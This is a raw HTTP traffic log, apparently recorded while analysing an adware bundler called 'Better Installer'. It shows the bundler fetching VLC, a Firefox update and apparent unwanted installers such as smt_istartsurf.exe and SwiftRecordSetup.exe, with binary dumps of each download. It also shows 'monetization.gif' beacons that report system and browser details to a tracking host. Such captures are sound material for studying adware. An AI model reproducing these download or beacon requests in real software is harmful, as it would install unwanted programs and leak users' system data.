Date: Sun, 26 Apr 2015 23:55:41 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: ptmOCqsX1EQqcf2pPm jbm6xOM3nk18wl0Hj20ufSt8IwuTEgBXDrUJgV4ETryL A3QFJXXfKVM=
x-amz-request-id: DCC02AB863A5B7DE
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 500000-749999/7590800
....a....(S...q........a...!.O..7\[email protected]....'.t.i.C..1%.... ..U$f.:n
.Z..a.kw4w`..0...&.F..^..$.FN..0..R.l....gY,4Q..=...&............k.i\.
}Q/..v.~..$W...../....JZ.)..#&....F.....D.. d..^D..QA.*.!&...1.jW..]#3
..A...#A.x.v....#8.....R..x c".A..vr..r....[.....>..^...Y..........
......mx....d ..o....k.d....x..w.....O.6...Q.......Od...6..a.o...<.
A....b....ds!..y=....Na..L..ZR.@[email protected]"..
..........K0.....T....1.3.....J/l....'[email protected]...?...Z...c..OJ...)R.
?S...u..s_Y.[..r.....3.#.....O...'[email protected]../vE.c... .......D..
.6G5..7H..........&.g.f ...n. ..3....L...V.~1..g.).(.......BA.}..s....
wL.Vr..x7..8.....H...o..%...(.........-C.....z.P.."........2.I.(...t..
n..V.2Q..M...Yf!u..=].7....][email protected]..* 
.....b7..... ......8bD....uA..-lN.BHu0`!q_B*.{.$.eq<.V.w...]...V_x.
[email protected]..]..s..%.[....r.....Ge,F.....U=|.]...k....I.....DU...fZ}.nMp.r..
.5.s!..8......s?..:..K.{........,.h.0....,....q8...9.=.......w$U.qe...
...$..G*.j.....'".....9.;;..h.#Rt]#*(...8/DV.pvP...;..,....W..e.....pD
K.....wp...O.^...(4....sk.Q..:..|....Jv.......(..&._.U.l#[email protected]\.P
}U.5c.L.........h.o5pt...,...p........-}...<.B-$....}..H..8d....G..
.L.4.d.Y.3.wrD..$L.....{qQ.....<..."._...O-zV .U.E:N1h.^>.U..0.B
!.}.e~.b............Z./b.~9...w.....dI....6d.\m.....2^.G...t.Ci...~..v
.....1......`...|....!.....S"gR.Z.jhp.q...5....&.n....^f..<xg......
..s.&.....-#....3F.q#.*..Eo. .2......R......,......."...2.mE...A].....
....x..VU...%.QY8Z.2.....O..5`..'..MnA..B.>v...F......dP....\?r
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=1000000-1249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: de3dw6d-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:55:41 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: ptmOCqsX1EQqcf2pPm jbm6xOM3nk18wl0Hj20ufSt8IwuTEgBXDrUJgV4ETryL A3QFJXXfKVM=
x-amz-request-id: DCC02AB863A5B7DE
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 1000000-1249999/7590800
.'...:V....:/.s..im...7....W......8..r.1..}]6>9g........Q....`.....
-...c.So..Lm...9.....!...E.j!...3.\3.C.f.a.....C.#[email protected].... a
.....J;....u...*.......~.N..B........X.0.Z....).....4.O$..A~..ArG..X\.
...B.r.....8..G..@\.[.....d:[email protected].[...N.K.L.%l.]|...C....V.EhI.
Y...O..c....|q..._Y.m....rK....Z.on.y.s....v...y.f'.E....R.RO$f[......
...{t-5......>.......).m...S^.H......9..-...#..*h.g.X.1...O.~.?._..
2g_.....9.../......b 6/.6.-.6...(..V.. l26..W..<I.:.....&`M..<..
h.......).=@TEo.~...4.. ..`...!8...........7......=......Ui.!..;....).
...9.....&.@<..e....[_:..XV..UTC2....A..E.l.V.q.*Jyng.....Jv.m&....
....}.E1..c,00..~<.1..uE..B..E.Vs.O.....C..M&....[..EjQU^....../.b.
/.....a./....3........e..z....*.6&,..5..?.[JI...pQi)8...oC.."......tU.
..V_Ce..5u.Zza.(..m......\.......*......Q..Y..>.G.7.5..b.w..T(&...8
 \pwV.F,.8.<....V...*..,...}]......'...)..\..;...z#6..w_....9.^G..p
.0#..98..._Z...,.5....{..n.....Ma..$..V...'Wg..> Ci..h............`
.!....=......H...J...4. {...........U.....S^uC..E_.....?nN...s]...D..|
./?iY.......X..2^..[.....FS3..OL.8N......K'...Uy..1j/-...)%7.S...H..V.
.F .^.V..aP...4...u .:Z.q.9...1w......9s...6... XA..5V...8...`...1G..:
......~.w..n.........Z..2..Sj..-...|cp.....]7...2....o...?..) y0.p..8.
w..Ad..r..j...T2K)>()...-..hk..M....4...6?..W..CzZ...}[email protected]
...}..Y\......N.....A.=Y"q./. .....jy1F..&s t^,./....V&..L.u.L:U...ne&
lt;@1...GqN;.$QK.i..w.).3.,..3.....*...v ......uT..c;.y..7............
._"k...D.E..........O.....R_.u=.t.'.....W.h.?y...Jj...0.M........o
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=1500000-1749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: de3dw6d-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:55:41 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: ptmOCqsX1EQqcf2pPm jbm6xOM3nk18wl0Hj20ufSt8IwuTEgBXDrUJgV4ETryL A3QFJXXfKVM=
x-amz-request-id: DCC02AB863A5B7DE
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 2000000-2249999/7590800
HTTP/1.1 206 Partial Content..Date: Sun, 26 Apr 2015 23:55:41 GMT..Con
tent-Type: application/octet-stream..Content-Length: 250000..Connectio
n: keep-alive..x-amz-id-2: ptmOCqsX1EQqcf2pPm jbm6xOM3nk18wl0Hj20ufSt8
IwuTEgBXDrUJgV4ETryL A3QFJXXfKVM=..x-amz-request-id: DCC02AB863A5B7DE.
.Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT..ETag: "f8076da03b6b36fa
1ec0bd5a082d8d95"..Server: NetDNA-cache/2.2..X-Cache: HIT..Content-Ran
ge: bytes 2750000-2999999/7590800..............N=/D]yB...H....5.S.x.so
.X..5p...U.b.V.l..).{....{.T....BG^..H=..e...../..3....3............d@
....g.[`93...i'..Y..!......i.S._2...d..... ..P & .mTJ.../g..3.9..or ..
w.}.X9.w_09x.!.....T.h..$..{.8x.U..wS~.j.....?..e....}..<.l...|.uy.
O,.E.r...<.....A.!x....J.....S..s|..CJ..$..........r...<r..Pr...
"8e..yQ..SRzBXN.?.!...Q/....[.S.;n89dn......ka..>'...w]@r0....pV>
;D..w[....?-..9.TOIy_J.4.u.......6..j7....`...}.f.u....]..jnZv-..|z.?f
...............*[email protected].....'..., ............9..V...,;...v
.]...o...OZ..V..[e..U.[..H1...nr]..=.."....k?1....W...}..u.......5.b..
v...2.....G....;.Z...gLopJ..h@........_8.... \;.....y2.../.. .k./....x
..R.......G...B.......62.......h.a..6Z.......:.C ...g.....(.....qL=l..
.....[|.,.....x8.o.8.-.n..P..%...Jt....u.........C.........yy.0.......
..e6.}5*.g.1.. .>.....k][...?...~Za.*.......j..LQ2r.`/...<.Nt...
$...A{.K;..p.<.....*6..... .`.t.Gw.....K>.4....d.Vn<.._.V....
..H}....B..],(..v.=.J....6.0........T.g.xd?]g....P.5.....9..!.E2....{.
..>.h........=.:?R|....s.......F..............}........bi2.r.!.
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=3250000-3499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: de3dw6d-457zol7j.netdna-ssl.com
Connection: Keep-Alive

GET /yta33_full.exe HTTP/1.1
Range: bytes=4250000-4499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: de3dw6d-457zol7j.netdna-ssl.com
Connection: Keep-Alive

GET /yta33_full.exe HTTP/1.1
Range: bytes=4750000-4999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: de3dw6d-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:55:41 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: ptmOCqsX1EQqcf2pPm jbm6xOM3nk18wl0Hj20ufSt8IwuTEgBXDrUJgV4ETryL A3QFJXXfKVM=
x-amz-request-id: DCC02AB863A5B7DE
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 4750000-4999999/7590800
 .0S...n.HC..(k..m]V.........V..R..;_lEM?Q$7..;..e0.>i.D....F_Z....
..!&-..e....D.%^*.._.X.....Z.E.F]....fY..ZK..mf....v.G..?.9q.....0_.n.
K.U.fxS......i^.6A.;.3......f.....D..[k...\....]..mO.Y`P..6...b.l9(..7
E..3.....n5...).b.....D..z..4s....?....P.a.......b/...:.7.%P....".Vu..
7..'.e.....x..%$.*......f.j..q...QX..%."N%..n.3d....*DO.7El."...|...].
.T.....a................yzdg.4..s:.Pg...a.~%\o.$@;.a.D...|d.{.....|lp.
#....{L?.^b.04wg..n.B.G|.,.."..>.1*.#.. qU...>...'..K..Q.,..Y..8
..r>...O....a.......Jb....KN.P..a.=s../.$4...B...G.6I../U$P0.....;[
.P.>j.[..Ebt..!..R..!i..v..J.........e..........-.........o..z..|.a
F$...nP.C..J8...W.H..._...L'.%DL("..%..w..l....g"..Qv.5...g._..iH`.)..
.[u9..[[email protected]."........N.Iln_...s......c H\)...........Z.q........{...
/T.....kY.o&K....vw.Vg.Oq]...0.0...X#kidH.PI...1.. 9..T.3W.y}..=.....,
g..R..N..'~....w...H...P..bCUT.7.=.\S..4..U(.....^..;A.b]....e~..Si..H
.:.C.....0..?......Q......D.B.H..-N..w..[...v...S...U2".....).....`r.w
...7Z.p.....<UV...$...m..6.-.c[O....U.M..$./.,.........1k.9._h....v
.c.(.....s..._bt1(o. ..HUn.D.....v.....J...h6..t.9R.;/.= [email protected]@
..(.#r.[......mj....f.={uj.........2r...rV.2..0....P(....P..E....r.#S?
.....U...'TK..(......O.c\...W...r..C%..:-...,..wX.p..1n.-z2..A.h.:8$.$
v........\.....M...m.4?v..[.|..J.4nq..&..1......Tp...p..5.\...6:...E#.
2..O....A.h.S9Ed..g..kn..h7*0`...O......PMr.z...QYNA.......%...|...Z .
.-.(z..a..F..h.Z.mBeF1 fmn/...wb1E....}*[email protected]^'zc.%M.&K.E....n.M.w.d..
(..r#....d1.....(E).{..R...u`y.)h.z.&v,..s>.B.z......;..b.4:TL.
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=5250000-5499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: de3dw6d-457zol7j.netdna-ssl.com
Connection: Keep-Alive

GET /yta33_full.exe HTTP/1.1
Range: bytes=5750000-5999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: de3dw6d-457zol7j.netdna-ssl.com
Connection: Keep-Alive



....P4..E(.?./$G ....)...D.=G{W..... ...*W.m$h$....^.a..:h.\K3.....1..
..g.W.........o...p].@!....%....6B....V/I.y...~..._r....KN.../...>.
....B.c60.R._...N..J.....k.-..0...Q@B.{.._......bY..s..K..;'..0H....(7
0..:g{^.*..r.tY......G....[....5...Y.M.....IA$z..S..P..%.@.'>.d.;4p
;. ......?q...3#1.......T..l..".g......?Q.P..|p..&......C....>.k>
;|.UH.i........<..z....'... ..c........M.|x .........R[.....B......
u...S.Y.%<1K8.%o...z.K.<....}..`........W..7Q...ho....J.!..n..X.
..V.l......<.......4DvUP.......Y..N....B........|.3.\5.h.qa 5R....l
G.....qC?..b..N..A..J.;..N.|._>..yS.].. n.4.../..q.#...-}...9......
i.l.L.A|......~o...h.a.e#....A....v.b %.j......EZdk...".....P... ..?..
.').Sn.....fX....X.G.L...n.w....S..,..x K` o[v.MD..rm...../...3...O.a.
]....K4...n...a...(.$....z).t..-...(O..B.C.a......^...... ........fW..
(..S.....k...H...y.......z..*..b.f.......p......B..P..Qz....n.....R...
......6..s._.Tg.."...[....F...I-yB.'.nRg}.<...yE...Q.L;V....1...C.d
...jN..G.r..x.wG....-.*.....h.Q7..]5_a.$....;6V.u .s...Y.~}x..QB.O.g.b
..u?....:...Y.w8...&...H......H.dNt.p.......|@..).2...4.)...*B...$....
a.I@B.......@..:..brQR......(.[x&V..}.f.n9.>[email protected]{.C..t....1U.PQgV..
...W:`.O.D.....};.......c.0....|.....!...|.-.M}...c"9..v..L....4.1.d.;
..j...w.S...0....._...W....q.8...,ap..V.^o.d.i)...%.}......?J7..i..k.D
...jKi...."..1]r:4-.'...]......]....T.N..D.....B.D.....m.-.d...l..j.`.
v4)....r...O.&.\i.sXMuFG/.$.j=ze.Ueu..Vt.y..._...[.4#.Y[ 9H.O.14.....&
gt;.8'.0.....LH.v.....M...jy\.fv6Y..S....|h;...2qat..m......[<.
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=6250000-6499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: de3dw6d-457zol7j.netdna-ssl.com
Connection: Keep-Alive

GET /yta33_full.exe HTTP/1.1
Range: bytes=6750000-6999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: de3dw6d-457zol7j.netdna-ssl.com
Connection: Keep-Alive



.S.y..o7R_.vJOH.....B..R.-]r...h.R..h.m..K/...B..\..Y(f>".t}......[
...(....2S..E...ni.`..*[email protected]...[>.R...C....U.6.......#8Wk
........._...?2>.]..>7G.f...<]...B.Y..1f...;.V.'.6.r.....f...
.............!...n.s38iFBBu}((....S..X........h.x.5._..r.....4...hA.R.
!...Iw1.WwW...fK .?.W..mC.5,.....v .....4.9........Wg..=0..F\..s b....
x...X.@~.`....rB..6.c...n.s.HGI...l.5.h.E.C...3..b...1S.[...Vd....~...
.....d..P.mvj......>..RUF..Q...........'0.,%!...so;..I........_..K.
..\...C. ..N(.i....#9S.......}..z.....;..n3..j6.b??.....:.RA}..(.....|
.....J......g....FQ".. .$...^.7Fx...t.{.....(.....8 .t..2)..n.%....ri.
..e..2....n.J.. g..^.JX...K..........k...C|....V.Ck.Q.....j.z....?_.&p
.[AN......".g..tJ^...\..!.s}.H.=y&.....t{.w...IC...|.<.lk>Zp.Xp.
..mz....TL..g{..T..tx..:.Hr.i4......./.b....O..&......|`..2....d.M.I&g
t;O.I.3...,m ............4... u..e..X#:...yU..B,18.2...9.{......G.8h..
K..nl..n&.`..oZ......8Q....uVj.`'...B...s....kx...6BQT...A..,.. .=8...
...-.......h.K..4J.S.).[.g.7.....2...{..I.`.97Vy../<.4..;i..t.. .(.
F...E.M..J./zj.....9H0..N...'6}./4').........=.Qy.....1"as....~..3...E
..<A.x............T.~.~....bYq....yW?.DnP_fhU...l.G..].S:."][t...).
S... b...h.&G..g.M.F.Y.g...[iQ7\9.RU...X.j(..b.....3.............;.. k
....B.0z...DCo@.~.P.......a./......Nk.om...}../9Y..bb.\...........f./.
[email protected]~..n.D...U.].[,...............=.....[O.._.T<{ug.j...
.fh[g..I..)........6.>.(....MtD....n.._m.........CD8.SyQm.S...z..B.
...........7.j...>.7........\T...n..x........|.iMc.....4..1$...
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=7250000-7499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: de3dw6d-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:55:42 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: ptmOCqsX1EQqcf2pPm jbm6xOM3nk18wl0Hj20ufSt8IwuTEgBXDrUJgV4ETryL A3QFJXXfKVM=
x-amz-request-id: DCC02AB863A5B7DE
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 7250000-7499999/7590800
1if....t......... ...9..... .&K..#.......... aW.R...r.y.K..M.D...W.R..
$..l...:e..W.;..(.... .%..:.....:...T.0...]...C.Sg..UH.'p.85H.........
..l......#f.0XY.$....a...p....&.6..h..P....|d......e..'......J......q.
..<j..8sG......._R..Zg.@.,."9....@.)W....N0....6.7w%..`...s%..P{..d
w.!]d...u3<X/.......?D.......161?3..|..%...i...O.qR....Uc=......f.m
[email protected](....J..RD...k.6...O.VG.A..z^.N`[email protected] %..
A...L<.d.....tZ.3..yc..^.[...Hv.&.<9..}..D.J..Y..&G.....gs...Ek.
g|ow.z'W..!.m..$..r;~..LU.D1D5.j.,~..B.B#2...u!^...\....8...CW.h....g.
'!...,....q..G.......3...qTL.........V*O....L..|.~.........N.e-..)v..A
.........7...I.AqOz..i.3.Q.W...s.).....B..S{..~..........p..{.. z.._'c
.EB....]...0R.P..U...*|.....~.{.oa&.(.h6."8..j.T...A6..] OM........df.
Hklt3..io.-...|. ...*[email protected]...@/..<. ...o.......
..i...........5b>....#/=2P>F....C].yB.pc.S.I-..{.,.......'$.."..
.......x..D......5....x.M6^[email protected]..:..V.d@&...0.....{.#.K..
.{.....q&..k..S.6.....bc.....xq.R.P........W.^[email protected][.,.......m..\..
\...5.._...I...0....).K.C..U>U.#.................D...7;...W..H.(.a.
.>..Ps......1....r..[Nl..}......>r^..0O..&..%..FS....I..).E.Q...
").DL..K.8...#.."IV.R..V..Y....i.}......"..H1.../....nE0y.A......AJ.=L
........l.......sb.../ ....n...r1-`....^H-..n...z..C.p..J.1.........-1
.6...5.VO..[.>.-....?....%.|..j..8...4.A.U.........pP.9.z..f...cgb.
:......X..(ck.......X......P..5..............`...E.....d.K.K.z.i..eN..
.vy.....;..`f..B...V2H...MO...y..:-@..,D5.].:._Iw.B....U.I..?"z...
<<< skipped >>>


GET /pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar HTTP/1.1
Host: download.cdn.mozilla.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Range: bytes=900000-1199999
Connection: keep-alive


HTTP/1.1 206 Partial Content
Last-Modified: Wed, 26 Nov 2014 16:59:55 GMT
ETag: "4b1e700-2dc5623-508c5f506dac8"
Server: Apache
X-Backend-Server: ftp3.dmz.scl3.mozilla.com
Content-Type: application/octet-stream
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
X-Cache-Info: cached
Cache-Control: max-age=35774
Expires: Mon, 27 Apr 2015 09:51:40 GMT
Date: Sun, 26 Apr 2015 23:55:26 GMT
Content-Range: bytes 900000-1199999/47994403
Content-Length: 300000
Connection: keep-alive
d,.f.\s..H.vB9..b.I`.b..8%..g..m....x..*.....{....?..u;f....._nU._....
..y q....].~..N...=....c.:..wuz. g...O?....*-..U..,..]u.iE...9..s.gN..
5.A.v....;BK..H.....>.J..T.n.#. .......^:...9.giR..h.s..dX[:..D..3.
..I.`.5..pb.s.-..........P...M.3.,.Z.....t.&Z$nJ."o'.\..O.h.B,Y.......
W.........!<.eu.BWsJ.=...Z.l....~..l'...l..9l|....d.x....Fw.B.Gv8..
..2.XJ.Ed..r...V.J.%.$.~^..N..b.....!..w h-..3.......C[m......R.*/[email protected]
Jg..L.......t.#A....X......D.B.....w.d...$6....8.I....GP..e...o\.UJ.u.
.yX.I....c..<KG..T......L..mT..,7rA..g..".?....../.&...dI......&.. 
.k..p.....s..J\..J..p....!.1(...U...A=.......D.....{.H.....v..5!..w...
....&.s|......=...V...Ig..Dp..@k..*...o".......Q..r..l]u.u/...(.i.....
.(..j........1.g7..f._N..eVm..~...)%.hX0Zm............z.w...R.".^.hI.Q
..nZ@..|[email protected]..._.....(!$....gR..;O.$$#...w.{.k.hB.4.?.
....u.$...&}.......Od.. ....".......;[[email protected]$.n.[...B?n.....
.$.\%2........!S...l.(.k...:......c...h.f/...x..VZ..A..R*~....dHh.....
9...I.m [email protected]<...i.v./-.\-......d..~h..H. ..6.M
..0....Z.A.T....N..K @....j%....U:.^..z...~.I.....F"..J...`.......1F$.
..s.D......x$O6....;r.P./.es4.*......n.{g._.U..R?(......|.....B.......
m.N....p&.Z......*..ZQ..VR..[..8@".1xy.P..........z.n^.<....^...n3.
..1...'Ki../[email protected]..<.M$..2..|.v.n/6...V.
.......lE/......w8-........-R..\e...WA...756.H.]/d.....-......'.......
.. ..4J@.<.S.4....Fu6%...du.iP.....*>........%/..>#..}....._.
..c.b.f..!...D%L...../.......,...o&u...#..1...Ex.k.P.. .S.J/......
<<< skipped >>>


GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=2864083-
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: heanet.dl.sourceforge.net


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:54:55 GMT
Server: Apache/2.2.14
Last-Modified: Mon, 15 Oct 2012 20:43:33 GMT
ETag: "13700eb89-15d9e91-4cc1f17408740"
Accept-Ranges: bytes
Content-Length: 20048574
Content-Range: bytes 2864083-22912656/22912657
Connection: close
Content-Type: application/octet-stream
..2.......Cxdz..6UZ........b........:.=..o.L.....l....0.h..=..H...>
.....}=..`....c7.3]..8..{......p.fF?..:..|..;...y.?.(..-.LL..[. .$..0.
X*.<......(5..:..B.Z..s...#..5.FD..\F.sy....&.Q..n..F.....MR.4.....
.G=.<...{W...z.4.([email protected]..\t{cy\...>...w.qn......:....IY..>
...N3.,$.Rr...\[email protected]>.^.` OX.........Gb.~...`.S&.......Gw.
...A............G/. .liUW!v.. ..m:qZ. .!....1.hR3.E.......m..?....T]..
%{E..h.g..n.hs.3G....Xl...*...Y.d....._9.L...A..E;.j:.vz......3W....M.
M2.....LN.Q(.C.T..Z..&...$....D...s....OU.....f..4e..6....G.A...i3.Yi.
.Z0.EBy4.....j.g._w..<.i@_...u>C..)[email protected]&........;..H.....!.
.E...zT...b..O...\3).{..^....>{..[....Fi..{.3I.t>YNOu./3.....6.w
m...sk-j.......8..!...^ynq........~BK...P..........X.C{......&..9H`Sf.
m..ah..([email protected].'<m...xk.Y....IA.Yt.oEO2..
...u.......r..z....a..ms3...c.).#z..fQETm.wqe!d........u..%..'.H`..v..
A9.[. ."C4.:`c.............\.6..#\..*.Pk'-./U.'".4g$.y)...I.....N.....
....g.2a......|qP.fX$X.;..g.....3[.5...&....S...O<SI&f~..&..=..z...
.7....W.1p.xLs..8.h.....hF...SH..KfA.........".R..0..7......$...J..k..
z..u.>b..-Q.y<[email protected]...{..{i....<.._....S.q0..L.A;...d..9.X.
.5Gb....%.F.Q.&.qN>..!.......\..)H.;.....\..1/......@".[...w$-.}.Y.
...2)...xA2.T.ef.[...7e.<..g.....g...o..0Tb.,.a......Mc~.!..'......
9.&xt..$k... ..U...Z......cK........4....]h.....=..nE.....Z.{S.d."..A.
.f.U...[ .l.I.nH.(....,.5...hx*...o......l?.h......{<....#...(..e..
..6.......,J.........]..|.......2.$.i..B.<!Xr.lr..]..B,wmfh....
<<< skipped >>>


GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sun, 26 Apr 2015 23:54:45 GMT
Content-Type: application/octet-stream
Content-Length: 556640
Last-Modified: Fri, 24 Apr 2015 06:24:51 GMT
Connection: keep-alive
Expires: Wed, 29 Apr 2015 23:54:45 GMT
Cache-Control: max-age=259200
Content-Range: bytes 0-556639/556640
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........f.>..nm.
.nm..nmoI.m..nm...m..nm...m..nm...m..nm...m..nm...m..nm..om!.nm...m..n
m...m..nm...m..nmRich..nm........PE..L....E7U.........................
.................@.......................................@............
.....................`........`...............b..`....0...:...........
...........................@...............,..........................
..text...,........................... ..`.rdata.. 9.......:...........
.......@[email protected].......,[email protected]........`.....
..(..............@[email protected][email protected].........
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U..V3.j...P.u..F......F
....2.....^]...U......V..M..;...i..... .;E.s..E..M..I....s..M.S... ]..
. M.;.w.h@|F.......M. E..M..E.;.s.j.Q........]..F.;.tR...r..........r.
.......u....M....E.QP.........{..r....~..r........u...SP...........U.j
.[;U.wG;.r.......;.r.......RQ..P.r....F....;.r.......;.r........u....M
....E..F;.r.......;.r........u....M...Q..P."....F....;.r.......;.r....
....u...QP......M.....~...N.[r.................h(|F.......U..Q.}...M.u
.;A.viS.Y.VW;.sY .9].wR3.B U....y..r......M....SQ.E.P.&.M..}...3..
<<< skipped >>>


GET /monetization.gif?event=3&ibic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1430092564&asw=0_1073750533_-2147474944_34816&browser=ff&rnd=1430092564 HTTP/1.1
Host: logs.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:56:08 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1389114507"
Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT
Cache-Control: max-age=86400
Content-Length: 35
Content-Type: image/gif
X-HW: 1430092568.dop003.am4.t,1430092568.cds058.am4.c
GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Sun, 26 Apr 
2015 23:56:08 GMT..Keep-Alive: timeout=10, max=100..Connection: Keep-A
live..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07
 Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 
35..Content-Type: image/gif..X-HW: 1430092568.dop003.am4.t,1430092568.
cds058.am4.c..GIF89a.............,...........D..;....


GET /monetization.gif?event=4&ibic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1430092564&asw=0_1073750533_-2147474944_34816&browser=ff&rnd=1430092564 HTTP/1.1


Host: logs.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:56:15 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1389114507"
Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT
Cache-Control: max-age=86400
Content-Length: 35
Content-Type: image/gif
X-HW: 1430092568.dop003.am4.t,1430092575.cds058.am4.c
GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Sun, 26 Apr 
2015 23:56:15 GMT..Keep-Alive: timeout=10, max=100..Connection: Keep-A
live..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07
 Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 
35..Content-Type: image/gif..X-HW: 1430092568.dop003.am4.t,1430092575.
cds058.am4.c..GIF89a.............,...........D..;..



GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=14320411-
User-Agent: Better Installer(Mozilla)
Host: garr.dl.sourceforge.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily
Server: nginx/1.8.0
Date: Sun, 26 Apr 2015 23:54:55 GMT
Content-Type: text/html
Content-Length: 160
Connection: keep-alive
Location: hXXp://cdn.mirror.garr.it/sf/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.8.0</ce
nter>..</body>..</html>....



GET /sd?is=sm HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Content-Length: 523264
Cache-Control: private, max-age=86400
Expires: Mon, 27 Apr 2015 23:54:51 GMT
Date: Sun, 26 Apr 2015 23:54:51 GMT
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. .......c.......................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
